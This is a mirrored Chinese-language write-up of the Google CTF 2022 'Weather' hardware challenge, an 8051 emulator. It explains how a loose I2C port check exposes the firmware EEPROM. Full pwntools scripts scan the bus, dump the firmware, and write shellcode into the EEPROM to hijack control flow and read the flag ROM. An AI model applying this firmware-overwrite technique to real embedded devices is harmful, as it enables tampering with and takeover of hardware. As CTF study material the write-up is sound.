6

Google CTF 2022 Quals Hardware 8051 Pwn: Weather

 1 year ago
source link: https://xuanxuanblingbling.github.io/iot/2022/11/02/8051/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Google CTF 2022 Quals Hardware 8051 Pwn: Weather

2022-11-02

| IOT

| 7

更新中…题目为采用8051模拟器运行的交互式程序,交互命令可以读写I2C总线设备。漏洞点为其对I2C总线设备号校验不严格,导致可以通过交互式命令行读写到挂接在I2C总线上的,并存储着8051程序代码的EEPROM。而flag位于8051可以访问的特殊寄存器中,因此通过对EEPROM的非法写即可写入shellcode并完成控制流劫持。不过由于EEPROM物理特性,通过I2C总线对其写入只能按bit将1写为0,但这现象似乎违背EEPROM可重复擦写的特征,其实其擦写的方法为通过对其引脚的一系列电平操作,使得整块EEPROM全部bit归1,然后按bit将1写0,这个操作在现实中一般使用编程器对EEPROM单独操作,在8051的shellcode中无法完成,本模拟器也将本物理特性如实模拟。因此对于本题中控制流劫持的位置以及shellcode写入位置都有额外的限制,需要针对题目固件选择特定的位置进行写入。

参考WP:

通过阅读pdf可以知道硬件结构:

  • I2C总线上挂着5个传感器
  • 可以通过串口进行输入输出
  • 主存储器型号为CTF-55930D,SPI接口的EEPROM,大小为4096字节
  • flag存储在FlagROM上

其中比较可疑的是这个EEPROM支持I2C接口,那他到底有没有挂在8051的I2C控制器上呢?

image

8051的C代码里有两个语法比较奇怪,分别是:

  • __sfr __at()
  • __xdata

特殊功能寄存器

其一为__sfr

这似乎是外设IO的控制方法,即读写特定寄存器访问IO,类似x86的in/out端口:

// Secret ROM controller.
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;

// Serial controller.
__sfr __at(0xf2) SERIAL_OUT_DATA;
__sfr __at(0xf3) SERIAL_OUT_READY;
__sfr __at(0xfa) SERIAL_IN_DATA;
__sfr __at(0xfb) SERIAL_IN_READY;

// I2C DMA controller.
__sfr __at(0xe1) I2C_STATUS;
__sfr __at(0xe2) I2C_BUFFER_XRAM_LOW;
__sfr __at(0xe3) I2C_BUFFER_XRAM_HIGH;
__sfr __at(0xe4) I2C_BUFFER_SIZE;
__sfr __at(0xe6) I2C_ADDRESS;  // 7-bit address
__sfr __at(0xe7) I2C_READ_WRITE;

// Power controller.
__sfr __at(0xff) POWEROFF;
__sfr __at(0xfe) POWERSAVE;

使用的时候也就是对目标寄存器进行读写,比如串口:

void serial_print(const char *s) {
  while (*s) {
    while (!SERIAL_OUT_READY) {
      // Busy wait...
    }

    SERIAL_OUT_DATA = *s++;
  }
}

char serial_read_char(void) {
  while (1) {
    if (SERIAL_IN_READY) {
      return (char)SERIAL_IN_DATA;
    }

    POWERSAVE = 1;  // Enter power save mode for a few milliseconds.
  }
}

并且可见存储flag的内部ROM的读取也是通过sfr:

__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;

因此最后读取flag的方法,应该就是向FLAGROM_ADDR写入读取flag的偏移,然后从FLAGROM_DATA逐个字节读出flag,大概逻辑如下:

char flag[256] = {0} ;

for(int i=0; i<255; i++){
    FLAGROM_ADDR = i;
    flag[i] = FLAGROM_DATA;
}

结合串口输出的逻辑:

char a;
for(int i=0; i<255; i++){
    FLAGROM_ADDR = i;
    a = FLAGROM_DATA;
    SERIAL_OUT_DATA = a;
}

8051内存类型

还有一个是__xdata关键字:

#define CMD_BUF_SZ 384
#define I2C_BUF_SZ 128
int main(void) {
  serial_print("Weather Station\n");

  static __xdata char cmd[CMD_BUF_SZ];
  static __xdata uint8_t i2c_buf[I2C_BUF_SZ];

找到编译工具:SDCC - Small Device C Compiler,还直接提供MAC版的二进制,尝试编译题目代码还真成功了:

➜  ls
Device Datasheet Snippets.pdf firmware.c
➜  ../sdcc/bin/sdcc ./firmware.c 
➜  ls
Device Datasheet Snippets.pdf firmware.lk                   firmware.rel
firmware.asm                  firmware.lst                  firmware.rst
firmware.c                    firmware.map                  firmware.sym
firmware.ihx                  firmware.mem

虽然没编译出ELF,但其中:

  • firmware.ihx: 可在IDA中进行逆向
  • firmware.map: 固件代码函数符号表
  • firmware.rst: 源码与汇编对应关系

而且其实__sfr __at()是就是SDCC特有语法,keil里定义SFR寄存器的语法是:

sfr P0   = 0x80;
sfr P1   = 0x90;

通过对ihx逆向以及汇编,了解8051的机器码以及内存布局,也可以对特殊功能寄存器有更深刻的理解。

image

image

image

image
➜  nc weather.2022.ctfcompetition.com 1337
== proof-of-work: disabled ==
Weather Station
? r 101 8
i2c status: transaction completed / ready
22 22 21 35 0 0 0 0 
-end
? w 101 8 1 1 1 1 1 1 1 1 
i2c status: transaction completed / ready
? r 101 8
i2c status: transaction completed / ready
22 22 21 35 0 0 0 0 
bool is_port_allowed(const char *port) {
  for(const char **allowed = ALLOWED_I2C; *allowed; allowed++) {
    const char *pa = *allowed;
    const char *pb = port;
    bool allowed = true;
    while (*pa && *pb) {
      if (*pa++ != *pb++) {
        allowed = false;
        break;
      }
    }
    if (allowed && *pa == '\0') {
      return true;
    }
  }
  return false;
}
>>> 101000 % 256
136
>>> 101000 + (256 - 136)
101120
>>> 101120 % 256
0

>>> 101120 + 101
101221
➜   nc weather.2022.ctfcompetition.com 1337
== proof-of-work: disabled ==
Weather Station
? r 101 8
i2c status: transaction completed / ready
22 22 21 35 0 0 0 0 
-end

? r 101221 8    
i2c status: transaction completed / ready
22 22 21 35 0 0 0 0 
-end

扫描I2C设备

image
from pwn import *

'''
>>> 101000 % 256
136
>>> 101000 + (256 - 136)
101120
>>> 101120 % 256
0
'''

def scan():
    io = remote("weather.2022.ctfcompetition.com",1337)
    for i in range(127):
        test = 101120 + i
        io.sendlineafter(b'?',("r %s 4" % test).encode())
        a = io.recvuntil(b"?")
        if b'device not found' not in a:
            print("[+] %s: %s " % (str(test),str(i)))
            print(a)
            
scan()
➜  python3 exp.py
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
[+] 101153: 33 
b' i2c status: transaction completed / ready\n2 0 6 2 \n-end\n?'
[+] 101221: 101 
b' i2c status: transaction completed / ready\n22 22 21 35 \n-end\n?'
[+] 101228: 108 
b' i2c status: transaction completed / ready\n3 249 0 0 \n-end\n?'
[+] 101230: 110 
b' i2c status: transaction completed / ready\n78 0 0 0 \n-end\n?'
[+] 101231: 111 
b' i2c status: transaction completed / ready\n81 0 0 0 \n-end\n?'
[+] 101239: 119 
b' i2c status: transaction completed / ready\n37 0 0 0 \n-end\n?'
➜  nc weather.2022.ctfcompetition.com 1337
== proof-of-work: disabled ==
Weather Station
? r 101153 64
i2c status: transaction completed / ready
2 0 6 2 4 228 117 129 48 18 8 134 229 130 96 3
2 0 3 121 0 233 68 0 96 27 122 0 144 10 2 120
1 117 160 2 228 147 242 163 8 184 0 2 5 160 217 244
218 242 117 160 255 228 120 255 246 216 253 120 0 232 68 0 

即EEPROM也确实挂接到8051的I2C控制器上了,因此我们可以尝试读写EEPROM

读EEPROM

➜  nc weather.2022.ctfcompetition.com 1337
? w 101153 1 0
i2c status: transaction completed / ready
? r 101153 4
i2c status: transaction completed / ready
2 0 6 2 
-end

? w 101153 1 1
i2c status: transaction completed / ready
?  r 101153 4
i2c status: transaction completed / ready
96 10 121 1 

dump固件:

from pwn import *

def dump():
    f = open('firmware.bin','wb')
    io = remote("weather.2022.ctfcompetition.com",1337)
    for i in range(64):
        print("[+] page: %s" % str(i))
        io.sendlineafter(b'?',("w 101153 1 %s" % str(i)).encode())
        io.sendlineafter(b'?',b"r 101153 64")
        a = io.recvuntil(b"?")[43:-8]
        a = a.replace(b"\n",b" ")
        a = a.decode('utf-8').split(' ')
        print(a)
        assert(len(a)==64)
        for j in a:
            f.write(int(j,10).to_bytes(1,'little'))

dump()

写EEPROM

控制流劫持

image

image

shellcode

完整exp

from pwn import *

'''
>>> 101000 % 256
136
>>> 101000 + (256 - 136)
101120
>>> 101120 % 256
0
'''

def scan():
    io = remote("weather.2022.ctfcompetition.com",1337)
    io.recvuntil(b"?")
    for i in range(127):
        test = 101120 + i
        io.sendline(("r %s 4" % test).encode())
        a = io.recvuntil(b"?")
        if b'device not found' not in a:
            print("[+] %s: %s " % (str(test),str(i)))
            print(a)
            
#scan()
    
'''
➜  python3 exp.py
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
[+] 101153: 33 
b' i2c status: transaction completed / ready\n2 0 6 2 \n-end\n?'
[+] 101221: 101 
b' i2c status: transaction completed / ready\n22 22 21 35 \n-end\n?'
[+] 101228: 108 
b' i2c status: transaction completed / ready\n3 249 0 0 \n-end\n?'
[+] 101230: 110 
b' i2c status: transaction completed / ready\n78 0 0 0 \n-end\n?'
[+] 101231: 111 
b' i2c status: transaction completed / ready\n81 0 0 0 \n-end\n?'
[+] 101239: 119 
b' i2c status: transaction completed / ready\n37 0 0 0 \n-end\n?'
'''

def dump():
    f = open('firmware.bin','wb')
    io = remote("weather.2022.ctfcompetition.com",1337)
    io.recvuntil(b"?")
    for i in range(64):
        print("[+] page: %s" % str(i))
        io.sendline(("w 101153 1 %s" % str(i)).encode())
        io.sendlineafter(b'?',b"r 101153 64")
        a = io.recvuntil(b"?")[43:-8]
        a = a.replace(b"\n",b" ")
        a = a.decode('utf-8').split(' ')
        print(a)
        assert(len(a)==64)
        for j in a:
            f.write(int(j,10).to_bytes(1,'little'))

#dump()

'''
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
'''

flag = ''

for k in range(5):
    io = remote("weather.2022.ctfcompetition.com",1337)

    shellcode = []
    for j in range(k*8,(k+1)*8,1):
        shellcode += [0x74, j]    # mov  A, 0
        shellcode += [0xf5, 0xee] # mov  FLAGROM_ADDR, A
        shellcode += [0xe5, 0xef] # mov  A,FLAGROM_DATA
        shellcode += [0xf5, 0xf2] # mov  CML6, A

    s = ''
    for i in shellcode:
        s += str(255 - i) + ' '
   
    print(s)

    # write shellcode to 0x0e00 (0x0e00 // 64 = 56)
    io.sendlineafter(b"?",b'w 101153 100 56 165 90 165 90 ' + s.encode()) 
    
    # patch 0x4F3 (0x4F3 // 64 = 19 , 0x4F3 % 64 = 51):
    # 12 01 23 7e -> 00 00 02 0e
    io.sendlineafter(b"?",b'w 101153 100 19 165 90 165 90 ' + b'0 '* 51 + b'255 255 253 241')
    io.recvline()
    flag += io.recvuntil(b'Station').decode('utf-8')[:8]
    io.close()
    print(flag)
    

# CTF{DoesAnyoneEvenReadFlagsAnymore?}
from pwn import *

io = remote("weather.2022.ctfcompetition.com",1337)

shellcode  = []
shellcode += [0x7f, 0x00]       # MOV  R7, 0
shellcode += [0xef, 0x00]       # MOV  A, R7
shellcode += [0xf5, 0xee]       # MOV  FLAGROM_ADDR (0xEE), A
shellcode += [0xe5, 0xef]       # MOV  A, FLAGROM_DATA (0xEF)
shellcode += [0xf5, 0xf2]       # MOV  CML6, A
shellcode += [0x0f]             # INC  R7
shellcode += [0x02, 0x0e, 0x02] # JMP  0x0e02

payload = ''
for i in shellcode:
    payload += str(255 - i) + ' '

print(payload)

# write shellcode to 0x0e00 (0x0e00 // 64 = 56)
io.sendlineafter(b"?",b'w 101153 100 56 165 90 165 90 ' + payload.encode()) 

# patch 0x4F3 (0x4F3 // 64 = 19 , 0x4F3 % 64 = 51): 12 01 23 7e -> 00 00 02 0e 
# payload: 255-0 255-0 255-2 255-0xe -> 255 255 253 241
io.sendlineafter(b"?",b'w 101153 100 19 165 90 165 90 ' + b'0 '* 51 + b'255 255 253 241')

a = io.recvline()
a = io.recvline()
print(a.decode('utf-8'))

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK